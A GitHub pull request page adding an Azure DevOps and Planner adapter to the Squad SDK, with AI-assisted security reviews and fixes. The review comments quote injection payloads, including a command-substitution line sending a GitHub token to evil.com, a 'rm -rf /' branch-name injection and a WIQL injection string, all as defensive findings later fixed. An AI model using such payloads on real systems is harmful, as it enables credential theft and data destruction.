Skip to content

feat: Azure DevOps platform adapter — Squad for enterprise#191

Merged
bradygaster merged 14 commits intobradygaster:mainfrom
tamirdresher:feature/azure-devops-support
Mar 8, 2026
Merged

feat: Azure DevOps platform adapter — Squad for enterprise#191
bradygaster merged 14 commits intobradygaster:mainfrom
tamirdresher:feature/azure-devops-support

Conversation

@tamirdresher
Copy link
Copy Markdown
Collaborator

Azure DevOps Platform Adapter

Problem

Squad is tightly coupled to GitHub (Issues, Labels, PRs, Actions). Many enterprise teams use Azure DevOps. Ralph can't scan ADO work items, the coordinator can't create ADO PRs, and the triage workflows don't work with ADO.

Solution

Add a platform adapter abstraction that lets Squad work with both GitHub and Azure DevOps.

Platform Adapter (packages/squad-sdk/src/platform/)

  • PlatformAdapter interface: listWorkItems, createPR, mergePR, addTag, etc.
  • GitHubAdapter: wraps existing gh CLI calls
  • AzureDevOpsAdapter: uses az devops CLI / REST API
  • detectPlatform(): auto-detect from git remote URL (github.com vs dev.azure.com)
  • getRalphScanCommands(): platform-specific Ralph commands

Concept Mapping

GitHub Azure DevOps
Issues Work Items (WIQL)
Labels Tags + Area Paths
gh CLI az devops CLI
Actions Azure Pipelines

Coordinator (templates/squad.agent.md)

  • Platform Detection section: detect GitHub vs ADO from remote
  • Platform-specific Ralph commands for scanning work

Tests: 57 new tests — platform detection, remote URL parsing, adapter interfaces, Ralph command generation

Docs: Feature guide + PRD

Files

  • 15 files, ~1,303 insertions
  • New: packages/squad-sdk/src/platform/ (types, detect, github, azure-devops, ralph-commands, index)
  • Updated: index.ts, types.ts, squad.agent.md
  • Tests: test/platform-adapter.test.ts
  • Docs: azure-devops.md, platform-adapter-prd.md

Co-authored-by: Copilot 223556219+Copilot@users.noreply.github.com

williamhallatt pushed a commit to williamhallatt/squad that referenced this pull request Mar 4, 2026
…tes (bradygaster#185, bradygaster#188, bradygaster#191, bradygaster#192, bradygaster#195, bradygaster#196, bradygaster#199, bradygaster#201, bradygaster#203, bradygaster#206, bradygaster#207)

Documentation Epic bradygaster#182 — complete:

Docs Content (McManus):
- Architecture overview: SDK ↔ CLI ↔ SquadUI system design
- Migration guide: Beta → v1 with 10-step checklist
- Global CLI install guide: npm, npx, GitHub native
- VS Code integration guide: client compatibility, extension patterns
- SDK API reference: 574 lines, all 30+ exports documented

Docs Site Engine (Keaton):
- Static site generator: node docs/build.js → docs/dist/
- GitHub Pages ready, responsive design, sidebar nav
- Index landing page linking all guides

Mechanical Updates (Fenster):
- .ai-team/ → .squad/ across 25 doc files (bradygaster#191)
- CLI invocation references verified current (bradygaster#192)
- Beta repo URLs updated to squad-pr (bradygaster#195)

Docs Tests (Hockney):
- 17 docs validation tests: headings, code blocks, links, build
- Fixed link checker for parent-dir refs, Windows rmSync

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher tamirdresher force-pushed the feature/azure-devops-support branch from a4dcb7f to fa93a70 Compare March 4, 2026 23:22
@tamirdresher tamirdresher force-pushed the feature/azure-devops-support branch from fa93a70 to dd3f5d7 Compare March 5, 2026 05:55
@wiisaacs
Copy link
Copy Markdown

wiisaacs commented Mar 5, 2026

5-Model Code Review PR #191 (Updated with test validation)

Ran this PR through 5 different AI models (Claude Sonnet 4, Claude Opus 4.5, GPT-5.2, Gemini 3 Pro, Claude Haiku 4.5) for independent review, then wrote unit tests to validate each finding. Only confirmed issues are listed below.


��� Critical Shell Command Injection (5/5 models flagged, confirmed by tests)

All adapters build shell commands via string interpolation and run them through execSync(). Only " is escaped backticks, $(), ;, &, | all pass through and are exploitable.

Test-proven attack vectors:

  • WIQL injection: state = "Active' OR 1=1 --" breaks out of the WIQL clause
  • Command substitution: title of Fix bug `whoami` or Fix bug $(cat /etc/passwd) executes in the shell
  • Nested substitution: $(curl evil.com/steal?token=$(gh auth token)) in a GitHub comment

This breaks the project's existing norms. The codebase already uses the safe pattern:

  • upstream.ts execFileSync('git', ['clone', '--depth', '1', ...])
  • rc-tunnel.tsexecFileSync('devtunnel', ['create', ...])
  • aspire.ts spawn('docker', [...args])

Fix: Replace execSync(cmd) with execFileSync(binary, [args]) everywhere.

Critical createBranch injection (4/5 models flagged, confirmed by tests)

Both adapters run git checkout -b ${name} with zero quoting. Test proves:

input:  "feature; rm -rf / #"
output: "git checkout main && git pull && git checkout -b feature; rm -rf / #"

The fromBranch parameter is equally unprotected.


High confirmed by tests

Finding Models Test result
PlannerAdapter doesn't implement PlatformAdapter 3/5 Missing PR/branch methods, no implements keyword runtime crash if used polymorphically. Consider splitting into WorkItemAdapter + RepoAdapter.
Planner task ID hash collisions + non-reversibility 2/5 ✅ Found 1 collision in just 100K synthetic IDs. More critically, the hash is non-reversible once listWorkItems returns a numeric ID, you can't call PATCH /planner/tasks/{originalStringId} because the original Planner ID is lost. This breaks all update operations.
Bearer token in curl process args 2/5 Not testable locally, but the code clearly passes the token as a CLI argument visible in process listings. Use Node fetch/undici instead of shelling out to curl.
Planner PATCH missing If-Match/ETag 1/5 Not testable locally, but per Graph API docs Planner updates require concurrency headers.

Medium confirmed by tests

Finding Models Test result
No JSON.parse error handling 2/5 CLI warnings (WARNING: The command requires...), auth errors (AADSTS700082), rate limits, and empty output all throw unhelpful SyntaxError. Wrap in try-catch with raw output in error message.
No integration tests for adapters 2/5 Tests cover detection/mocks only, not command construction or output parsing with mocked execSync.
N+1 CLI calls in ADO listWorkItems 1/5 Not testable locally, but the code clearly runs 1 WIQL query + N individual az boards work-item show calls.
Hardcoded "User Story" work item type 1/5 Not testable locally, but fails for Scrum ("PBI") and Basic ("Issue") ADO processes.

Retracted false positive

Finding Models Test result
ADO tags with semicolons break parsing 1/5 ADO uses semicolons as its native tag delimiter tags cannot contain semicolons. The split(';') is correct.

What's Good

The architecture is solid. The PlatformAdapter interface is well-designed, detectPlatform() from git remote is elegant, and the concept mapping (IssuesWork Items, LabelsTags, etc.) is thoughtful. The provider-pluggable pattern is exactly what the community asked for in #8. Looking forward to this landing!

tamirdresher added a commit to tamirdresher/squad that referenced this pull request Mar 5, 2026
Address critical review findings from PR bradygaster#191:
- All adapter methods now use execFileSync with argument arrays
- No user input passes through shell interpretation
- Added JSON.parse error handling with raw output in messages
- createBranch uses execFileSync('git', [...]) instead of string concat
- Follows existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher
Copy link
Copy Markdown
Collaborator Author

Thanks for the thorough 5-model review @wiisaacs — really appreciate the rigor, especially writing tests to validate each finding!

Fixed in latest push (20af91a):

  • Critical: Shell injection — All adapters now use execFileSync(binary, [args]) instead of execSync(cmd). No user input passes through shell interpretation. Follows the existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts).
  • Critical: createBranch injection — Now uses separate execFileSync('git', [...]) calls instead of string concatenation with &&.
  • High: JSON.parse error handling — Added parseJson() helper across all adapters with raw output in error messages.
  • High: Bearer token exposure — Planner adapter uses execFileSync('curl', [...]) with args array.
  • High: Planner task ID — Original string ID preserved in url field for downstream PATCH calls.

Acknowledged but deferred:

  • PlannerAdapter partial interface — split into WorkItemAdapter + RepoAdapter in follow-up PR
  • Planner ETag/If-Match — will add concurrency headers in follow-up
  • N+1 ADO queries — noted for future optimization
  • Hardcoded User Story type — createWorkItem accepts a type param, default should be configurable

Thanks again — the injection findings were spot-on.

@wiisaacs
Copy link
Copy Markdown

wiisaacs commented Mar 5, 2026

Thanks @tamirdresher the execFileSync refactor is a great improvement and the parseJson helper is clean. The shell injection issues are solidly resolved.

Ran the updated code through the same 5-model review and two findings came back as not fully addressed yet:

1. WIQL query injection (5/5 models flagged)

The execFileSync fix prevents shell injection perfectly, but state and tags are still interpolated directly into the WIQL string:

conditions.push(`[System.State] = '${options.state}'`);
conditions.push(`[System.Tags] Contains '${tag}'`);

A value like Active' OR 1=1 -- would manipulate the WIQL query itself this is query-language injection, similar to SQL injection, which lives at a different layer than shell injection.

Likely fix: escape single quotes per WIQL syntax (' ''), or validate state/tags against an allowlist of expected values.

2. Bearer token still visible in process args (4/5 models flagged)

execFileSync('curl', ['-H', 'Authorization: Bearer ${token}']) prevents shell expansion, but command-line arguments are still visible via ps aux or /proc/<pid>/cmdline on Linux (and Task Manager on Windows). The token exposure concern was about process inspection, not shell interpretation.

Easiest fix would be swapping curl for Node's native fetch or undici so the token stays in-memory and never hits a process argument list.

Everything else looks great the createBranch split, parseJson helper, and task ID preservation all check out. Nice work!

tamirdresher added a commit to tamirdresher/squad that referenced this pull request Mar 5, 2026
- WIQL injection: escape single quotes in state/tags/project values
- Bearer token: pass via curl --config stdin instead of CLI args
- Addresses follow-up review from PR bradygaster#191

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher
Copy link
Copy Markdown
Collaborator Author

Both addressed in latest push (5daf83e):

  1. WIQL injection — Added escapeWiql() helper that doubles single quotes (WIQL's escape syntax, same as SQL). Applied to state, tags, and project name values. Active' OR 1=1 -- now becomes Active'' OR 1=1 -- which is a harmless literal string in WIQL.

  2. Bearer token — Changed graphFetch() to pass the Authorization header via curl --config - (stdin) instead of as a CLI argument. Token no longer appears in process args visible via ps/procfs.

Thanks for the follow-up — both were good catches at the right layer.

bradygaster added a commit that referenced this pull request Mar 7, 2026
Reviewed PR #189 (Workstreams) and PR #191 (ADO Adapter).
Both held for v0.8.22 — merge conflicts, no CI, missing tests.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
bradygaster added a commit that referenced this pull request Mar 7, 2026
… fix

Session: 2026-03-07T16-19-00Z-pre-release-triage
Requested by: Brady (Team Coordinator)

Changes:
- Merged decisions from 3 agent triage sessions (Keaton, Hockney, McManus)
- Brady directives: SDK-First v0.8.22 commitment, Actions-to-CLI strategic shift
- Updated agent history.md with cross-team context propagation
- Decisions logged: v0.8.21 release gate, PR holds for v0.8.22, docs readiness

Results:
- v0.8.21: GREEN LIGHT (pending #248 fix per Keaton override)
- v0.8.22 roadmap: 9 issues, 3 parallel streams
- Close: #194 (completed), #231 (duplicate)
- PRs #189/#191: Hold for v0.8.22 (rebase to dev)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@bradygaster bradygaster requested a review from Copilot March 8, 2026 13:18
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new multi-platform “Platform Adapter” layer to the Squad SDK to support Azure DevOps (and a hybrid Microsoft Planner work-item mode), and updates the CLI scaffolding + governance docs/tests to be platform-aware.

Changes:

  • Introduce packages/squad-sdk/src/platform/* (types, detection, GitHub + Azure DevOps adapters, Planner support, Ralph command templates, and an adapter factory).
  • Update initSquad() scaffolding and agent governance templates to detect Azure DevOps from git remote and adjust generated files/commands accordingly.
  • Add a comprehensive new test suite for platform detection/parsing/command generation, and update existing UX/acceptance tests for updated CLI messaging.

Reviewed changes

Copilot reviewed 27 out of 28 changed files in this pull request and generated 10 comments.

Show a summary per file
File Description
test/ux-gates.test.ts Updates expected status output label text.
test/platform-adapter.test.ts Adds tests for detection/parsing, command generation, and type/interface shapes.
test/cli/init.test.ts Updates .gitattributes expectation for decisions merge rule path.
test/cli/consult.test.ts Adds timeouts to consult error-handling tests.
test/acceptance/features/status.feature Updates acceptance text for status output.
test/acceptance/features/status-extended.feature Updates status acceptance text and expected exit code when not initialized.
test/acceptance/features/init-command.feature Updates init output expectation text.
test/acceptance/features/hostile-no-config.feature Updates status output expectation for missing .squad/.
templates/squad.agent.md Adds platform detection + ADO/Planner guidance for Ralph/coordinator workflows.
.github/agents/squad.agent.md Mirrors platform detection + ADO/Planner guidance into GitHub agent governance file.
packages/squad-sdk/src/types.ts Re-exports platform-related public types.
packages/squad-sdk/src/platform/types.ts Defines the normalized PlatformAdapter interface and shared types.
packages/squad-sdk/src/platform/detect.ts Adds remote parsing and platform detection utilities.
packages/squad-sdk/src/platform/ralph-commands.ts Adds platform-specific command templates for Ralph scan/triage.
packages/squad-sdk/src/platform/github.ts Implements GitHub adapter via gh CLI.
packages/squad-sdk/src/platform/azure-devops.ts Implements Azure DevOps adapter via az CLI, with WIQL escaping and work-item config support.
packages/squad-sdk/src/platform/planner.ts Adds Planner adapter + mapping utilities (Graph via az token + curl).
packages/squad-sdk/src/platform/index.ts Adds platform barrel exports + createPlatformAdapter() factory and ADO config reader.
packages/squad-sdk/src/index.ts Exposes platform module via SDK barrel export.
packages/squad-sdk/src/config/init.ts Adds platform detection during init, ADO config defaults, skips GitHub workflows for ADO, and varies MCP sample.
package.json Bumps workspace version.
packages/squad-sdk/package.json Bumps SDK version.
packages/squad-cli/package.json Bumps CLI version.
packages/squad-cli/src/cli-entry.ts Updates help output and adds routing for consult and upstream commands.
docs/specs/platform-adapter-prd.md Adds design spec for platform adapter approach.
docs/features/enterprise-platforms.md Adds enterprise guide for ADO + Planner hybrid usage.
docs/blog/023-squad-goes-enterprise-azure-devops.md Adds blog post announcing ADO enterprise support.
.gitignore Ignores new local .squad marker/config files.
Comments suppressed due to low confidence (1)

packages/squad-sdk/src/config/init.ts:579

  • initSquad() writes .squad/config.json with a custom shape ({ version: 1, teamRoot, platform, ado, ... }), but the SDK config loader (loadConfig() / discoverConfigFile()) treats .squad/config.json as a valid SquadConfig source and runs strict schema validation (requires version as a string, models, routing, etc.). If .squad/config.json is ever selected as the config source (e.g., in repos without squad.config.ts), config loading will fail. Consider either (a) moving these settings to a different filename, (b) updating the loader to not validate .squad/config.json as SquadConfig, or (c) writing a schema-compliant config here.
  const squadConfigPath = join(squadDir, 'config.json');
  if (!existsSync(squadConfigPath)) {
    // Detect platform from git remote for config
    let detectedPlatform: string | undefined;
    try {
      const remoteUrl = execFileSync('git', ['remote', 'get-url', 'origin'], { cwd: teamRoot, encoding: 'utf-8' }).trim();
      if (remoteUrl.includes('dev.azure.com') || remoteUrl.includes('visualstudio.com') || remoteUrl.includes('ssh.dev.azure.com')) {
        detectedPlatform = 'azure-devops';
      }
    } catch {
      // No git remote — skip platform detection
    }
    const squadConfig: Record<string, unknown> = {
      version: 1,
      teamRoot: teamRoot,
    };
    if (detectedPlatform) {
      squadConfig.platform = detectedPlatform;
    }
    if (detectedPlatform === 'azure-devops') {
      // ADO work item defaults — users can customize these:
      // - org/project: set when work items live in a different project than the repo
      // - defaultWorkItemType: "User Story", "Scenario", "Bug", etc.
      // - areaPath: e.g. "MyProject\\Team A" (backslash-separated)
      // - iterationPath: e.g. "MyProject\\Sprint 1"
      squadConfig.ado = {
        // org: "my-org",           // uncomment if work items are in a different org
        // project: "my-project",   // uncomment if work items are in a different project
        // defaultWorkItemType: "User Story",
        // areaPath: "",
        // iterationPath: "",
      };
    }
    // Only include extractionDisabled if explicitly set
    if (options.extractionDisabled) {
      squadConfig.extractionDisabled = true;
    }
    await writeFile(squadConfigPath, JSON.stringify(squadConfig, null, 2), 'utf-8');
    createdFiles.push(toRelativePath(squadConfigPath));
  }

Comment on lines +210 to +244
// Add description if provided
if (options.description) {
this.graphFetch(
`/planner/tasks/${task.id}/details`,
'PATCH',
JSON.stringify({ description: options.description, previewType: 'description' }),
);
}

return mapPlannerTaskToWorkItem(task, bucketName);
}

async addTag(taskId: string, bucketName: string): Promise<void> {
const bucketId = await this.getBucketId(bucketName);
if (!bucketId) {
throw new Error(`Bucket "${bucketName}" not found in plan ${this.planId}`);
}
// Moving a task to a different bucket = reassigning
this.graphFetch(
`/planner/tasks/${taskId}`,
'PATCH',
JSON.stringify({ bucketId }),
);
}

async addComment(taskId: string, comment: string): Promise<void> {
// Planner task comments go through the group conversation thread
this.graphFetch(
`/planner/tasks/${taskId}/details`,
'PATCH',
JSON.stringify({
description: comment,
previewType: 'description',
}),
);
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Planner PATCH calls (/planner/tasks/{id} and /planner/tasks/{id}/details) are sent without an If-Match header/ETag. Microsoft Graph Planner endpoints typically require If-Match (often * or the returned etag) for updates; without it, these PATCH requests can fail with precondition errors. Consider capturing the @odata.etag from the created/fetched resource and passing If-Match, or use If-Match: * if you explicitly want last-write-wins semantics.

Copilot uses AI. Check for mistakes.
Comment on lines +825 to +836
// Detect platform from git remote
// -------------------------------------------------------------------------

let isGitHub = true;
try {
const remoteUrl = execFileSync('git', ['remote', 'get-url', 'origin'], { cwd: teamRoot, encoding: 'utf-8' }).trim();
if (remoteUrl.includes('dev.azure.com') || remoteUrl.includes('visualstudio.com') || remoteUrl.includes('ssh.dev.azure.com')) {
isGitHub = false;
}
} catch {
// No git remote — assume GitHub (default)
}
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The workflow/MCP detection block duplicates the earlier git-remote platform detection logic, but again uses case-sensitive includes(...). Consider factoring this into a small helper (or calling the shared detectPlatformFromUrl) so the behavior is consistent and only maintained in one place.

Copilot uses AI. Check for mistakes.
Comment on lines +869 to +892
const mcpSample = isGitHub
? {
mcpServers: {
"EXAMPLE-github": {
command: "npx",
args: ["-y", "@anthropic/github-mcp-server"],
env: {
GITHUB_TOKEN: "${GITHUB_TOKEN}"
}
}
}
}
}
};
: {
mcpServers: {
"EXAMPLE-azure-devops": {
command: "npx",
args: ["-y", "azure-devops-mcp-server"],
env: {
AZURE_DEVOPS_ORG: "${AZURE_DEVOPS_ORG}",
AZURE_DEVOPS_PAT: "${AZURE_DEVOPS_PAT}"
}
}
}
};
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The Azure DevOps MCP sample config uses npx -y azure-devops-mcp-server, but the docs in this PR reference @azure/devops-mcp-server. Please align these (and confirm the actual published package name), otherwise the generated .copilot/mcp-config.json example may not work out of the box.

Copilot uses AI. Check for mistakes.
Comment on lines +142 to +145
async listPullRequests(options: { status?: string; limit?: number }): Promise<PullRequest[]> {
const args = ['pr', 'list', '--repo', this.repoFlag, '--json', 'number,title,headRefName,baseRefName,state,isDraft,reviewDecision,author,url'];
if (options.status) args.push('--state', options.status);
if (options.limit) args.push('--limit', String(options.limit));
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

listPullRequests() forwards options.status directly to gh pr list --state. The normalized PullRequest.status values in this module are active|completed|abandoned|draft, but gh pr list --state expects values like open|closed|merged. If callers pass normalized statuses (e.g., active), this will fail. Consider typing options.status as PullRequest['status'] and mapping it to gh/ADO-specific filter values internally (or rename the parameter to state and document that it uses gh semantics).

Copilot uses AI. Check for mistakes.
Comment thread packages/squad-sdk/src/config/init.ts Outdated
let detectedPlatform: string | undefined;
try {
const remoteUrl = execFileSync('git', ['remote', 'get-url', 'origin'], { cwd: teamRoot, encoding: 'utf-8' }).trim();
if (remoteUrl.includes('dev.azure.com') || remoteUrl.includes('visualstudio.com') || remoteUrl.includes('ssh.dev.azure.com')) {
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Platform detection in initSquad() uses case-sensitive remoteUrl.includes(...). Elsewhere (detectPlatformFromUrl) detection is case-insensitive and tests cover mixed-case URLs; with the current includes logic, a mixed-case remote (e.g. https://DEV.AZURE.COM/...) would be misdetected as GitHub, leading to incorrect workflow/MCP scaffolding. Consider normalizing remoteUrl to lowercase (or reusing detectPlatformFromUrl).

Suggested change
if (remoteUrl.includes('dev.azure.com') || remoteUrl.includes('visualstudio.com') || remoteUrl.includes('ssh.dev.azure.com')) {
const remoteUrlLower = remoteUrl.toLowerCase();
if (
remoteUrlLower.includes('dev.azure.com') ||
remoteUrlLower.includes('visualstudio.com') ||
remoteUrlLower.includes('ssh.dev.azure.com')
) {

Copilot uses AI. Check for mistakes.
Comment on lines +119 to +125
export function detectWorkItemSource(
repoRoot: string,
configWorkItems?: string,
): PlatformType {
if (configWorkItems === 'planner') return 'planner';
return detectPlatform(repoRoot);
}
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

detectWorkItemSource() returns PlatformType, but the module defines a dedicated WorkItemSource type for this purpose. Returning WorkItemSource (and typing configWorkItems accordingly) would make the API clearer, and avoids implying that repo platforms and work-item sources are interchangeable concepts.

Copilot uses AI. Check for mistakes.
Comment on lines +41 to +57
listUntriaged:
`curl -s -H "Authorization: Bearer $(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)" "https://graph.microsoft.com/v1.0/planner/plans/{planId}/tasks?$filter=bucketId eq '{untriagedBucketId}'"`,
listAssigned:
`curl -s -H "Authorization: Bearer $(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)" "https://graph.microsoft.com/v1.0/planner/plans/{planId}/tasks?$filter=bucketId eq '{memberBucketId}'"`,
listOpenPRs:
'echo "Planner does not manage PRs — use the repo adapter (GitHub or Azure DevOps)"',
listDraftPRs:
'echo "Planner does not manage PRs — use the repo adapter (GitHub or Azure DevOps)"',
createBranch:
'git checkout main && git pull && git checkout -b {branchName}',
createPR:
'echo "Planner does not manage PRs — use the repo adapter (GitHub or Azure DevOps)"',
mergePR:
'echo "Planner does not manage PRs — use the repo adapter (GitHub or Azure DevOps)"',
createWorkItem:
`curl -s -X POST -H "Authorization: Bearer $(az account get-access-token --resource-type ms-graph --query accessToken -o tsv)" -H "Content-Type: application/json" -d '{"planId":"{planId}","title":"{title}","bucketId":"{bucketId}"}' "https://graph.microsoft.com/v1.0/planner/tasks"`,
};
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Planner Ralph commands embed the Graph access token directly in the curl command line via command substitution (-H "Authorization: Bearer $(az ... )"). This can leak the bearer token via shell history and process listings. Consider generating commands that pass the Authorization header via stdin (curl --config -) similar to PlannerAdapter.graphFetch(), or otherwise avoid placing the token in process args.

Copilot uses AI. Check for mistakes.
Comment thread docs/features/enterprise-platforms.md Outdated
To explicitly check which platform Squad detects:

```typescript
import { detectPlatform } from '@bradygaster/squad/platform';
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The example import path @bradygaster/squad/platform looks incorrect: the published runtime package is @bradygaster/squad-sdk (and this PR exports platform APIs via packages/squad-sdk/src/index.ts). Consider updating the snippet to import from @bradygaster/squad-sdk (or whatever the intended public entrypoint is) so users can actually resolve the module.

Suggested change
import { detectPlatform } from '@bradygaster/squad/platform';
import { detectPlatform } from '@bradygaster/squad-sdk';

Copilot uses AI. Check for mistakes.
Comment on lines +91 to +118
async createWorkItem(options: { title: string; description?: string; tags?: string[]; assignedTo?: string; type?: string }): Promise<WorkItem> {
const args = [
'issue', 'create',
'--repo', this.repoFlag,
'--title', options.title,
'--json', 'number,title,state,labels,assignees,url',
];
if (options.description) {
args.push('--body', options.description);
}
if (options.tags?.length) {
for (const tag of options.tags) {
args.push('--label', tag);
}
}
if (options.assignedTo) {
args.push('--assignee', options.assignedTo);
}

const output = this.gh(args);
const issue = parseJson<{
number: number;
title: string;
state: string;
labels: Array<{ name: string }>;
assignees: Array<{ login: string }>;
url: string;
}>(output);
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

GitHubAdapter.createWorkItem() passes --json to gh issue create, then attempts to JSON.parse() the output. The gh issue create command doesn't produce JSON output (and may not support --json), so this will reliably throw at runtime. Consider creating the issue, capturing the returned URL/number (or using gh api to create and return JSON), then mapping to WorkItem.

Copilot uses AI. Check for mistakes.
listOpenPRs:
'az repos pr list --status active --output table',
listDraftPRs:
'az repos pr list --status active --output table | findstr /i "draft"',
Copy link

Copilot AI Mar 8, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

listDraftPRs pipes to findstr, which is Windows-specific and will fail on macOS/Linux shells. Prefer an az repos pr list --output json + --query filter (JMESPath) or another cross-platform approach to filter drafts.

Suggested change
'az repos pr list --status active --output table | findstr /i "draft"',
'az repos pr list --status active --query "[?isDraft==`true`]" --output table',

Copilot uses AI. Check for mistakes.
tamirdresher and others added 11 commits March 8, 2026 15:56
Introduce a platform abstraction layer so Squad works with Azure DevOps
(Work Items, PRs, Pipelines) in addition to GitHub (Issues, PRs, Actions).

Platform module (packages/squad-sdk/src/platform/):
- types.ts: PlatformType, WorkItem, PullRequest, PlatformAdapter interfaces
- detect.ts: Auto-detect platform from git remote URL (github/ado)
- github.ts: GitHubAdapter wrapping gh CLI
- azure-devops.ts: AzureDevOpsAdapter wrapping az CLI
- ralph-commands.ts: Platform-specific Ralph triage commands
- index.ts: Factory createPlatformAdapter() + barrel exports

Coordinator prompt:
- Add Platform Detection section to squad.agent.md
- ADO command mapping table and prerequisites

Tests (57 passing):
- Platform detection from various remote URLs
- GitHub remote parsing (owner/repo extraction)
- ADO remote parsing (org/project/repo extraction)
- WorkItem/PullRequest type shape validation
- Ralph command generation for both platforms
- Edge cases (case insensitivity, unknown platforms)

Docs:
- docs/features/azure-devops.md: User guide
- docs/specs/platform-adapter-prd.md: Design spec

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Remove .squad/.first-run and .squad/config.json that trigger branch guard.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Add createWorkItem method to PlatformAdapter interface and all adapters:
- GitHubAdapter: creates issues via gh issue create
- AzureDevOpsAdapter: creates work items via az boards work-item create
- PlannerAdapter: creates tasks via Graph API POST /planner/tasks
- RalphCommands: add createWorkItem command for all platforms

6 new tests (86 total for platform adapter).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Add platform-aware note to Ralph Step 1 scan commands
- Include ADO WIQL examples alongside GitHub examples
- Add auth section: az login (no PATs), ADO MCP server option
- Ralph now knows to check Platform Detection section for command selection

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Address critical review findings from PR bradygaster#191:
- All adapter methods now use execFileSync with argument arrays
- No user input passes through shell interpretation
- Added JSON.parse error handling with raw output in messages
- createBranch uses execFileSync('git', [...]) instead of string concat
- Follows existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- WIQL injection: escape single quotes in state/tags/project values
- Bearer token: pass via curl --config stdin instead of CLI args
- Addresses follow-up review from PR bradygaster#191

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Bug 1: squad init now detects ADO from git remote and skips .github/workflows/
- Bug 2: config.json includes platform field when ADO detected
- Bug 3: MCP config template uses platform-appropriate example

Reported by ADO integration tester.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
…oject support

Add AdoWorkItemConfig interface supporting enterprise ADO scenarios:
- defaultWorkItemType: configure Scenario, Bug, etc. (default: User Story)
- areaPath: route work items to specific team backlogs
- iterationPath: place work items in specific sprints
- org/project: support work items in a different ADO project/org than
  the git repo (common in large enterprises)

Config lives in .squad/config.json under the 'ado' key. All fields are
optional — omitted fields use sensible defaults.

Work item operations (create, list, get, tag, comment) now use separate
workItemArgs that resolve org/project from config, while repo operations
(PRs, branches) continue using the git remote's org/project.

- 92 platform adapter tests pass (6 new)
- Updated enterprise-platforms.md with config table
- squad init writes ado section template for ADO repos

Addresses bradygaster#240

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Covers auto-detection, configurable work item types, area/iteration paths,
cross-project work items, security hardening, and integration test results.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
…g.json

Ralph's coordinator prompt now explicitly instructs the coordinator to:
1. Read .squad/config.json BEFORE running any ADO work item commands
2. Use ado.org/ado.project for work item queries (may differ from repo)
3. Pass --org and --project flags on every az boards command
4. Use ado.defaultWorkItemType when creating work items
5. Never guess the ADO project from the repo name — read the config

This fixes the issue where Ralph on ADO repos would try the repo name
as the ADO project (e.g. 'squad-ado-test') instead of the actual
configured work item project.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
The governance file (.github/agents/squad.agent.md) that controls the
coordinator at runtime had ZERO Azure DevOps awareness. Ralph only knew
GitHub commands (gh issue list, gh pr list). Even with a perfect ADO
adapter, Ralph would still scan GitHub because the governance file
told it to.

Changes to .github/agents/squad.agent.md:
- Add azure-devops-* to MCP tool detection table
- Add Platform Detection section (GitHub vs ADO vs Planner)
- Add ADO config resolution from .squad/config.json ado section
- Make Issue Awareness section platform-aware (GitHub + ADO queries)
- Make Ralph Step 1 platform-aware with both GitHub and ADO command
  blocks, plus critical instruction to read config first
- Update merge PR trigger to include ADO equivalent

Also updated blog post bradygaster#23 with 'Ralph + ADO: The Governance Fix'
section explaining why this class of bug is invisible in unit tests.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher tamirdresher force-pushed the feature/azure-devops-support branch from b34c4d7 to 3f0721a Compare March 8, 2026 13:58
- Fix gh issue create (no --json flag, parse URL from stdout)
- Case-insensitive platform detection in init.ts
- Cross-platform draft PR filter (JMESPath instead of findstr)
- Correct import path in enterprise-platforms.md docs
- Consistent ADO MCP package name
- detectWorkItemSource returns WorkItemSource type
- PR status mapping (active→open, completed→closed, etc.)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher
Copy link
Copy Markdown
Collaborator Author

@copilot please review the blog post at docs/blog/023-squad-goes-enterprise-azure-devops.md and the docs at docs/features/enterprise-platforms.md — check for accuracy, clarity, and anything a new ADO user would find confusing.

tamirdresher and others added 2 commits March 8, 2026 16:42
…dygaster#26

- Renumber enterprise blog from 023 to 025 (024 taken by v0.8.23)
- Add release notes blog bradygaster#26 covering the full ADO + CommunicationAdapter sprint
- Draft status — version number TBD by Brady

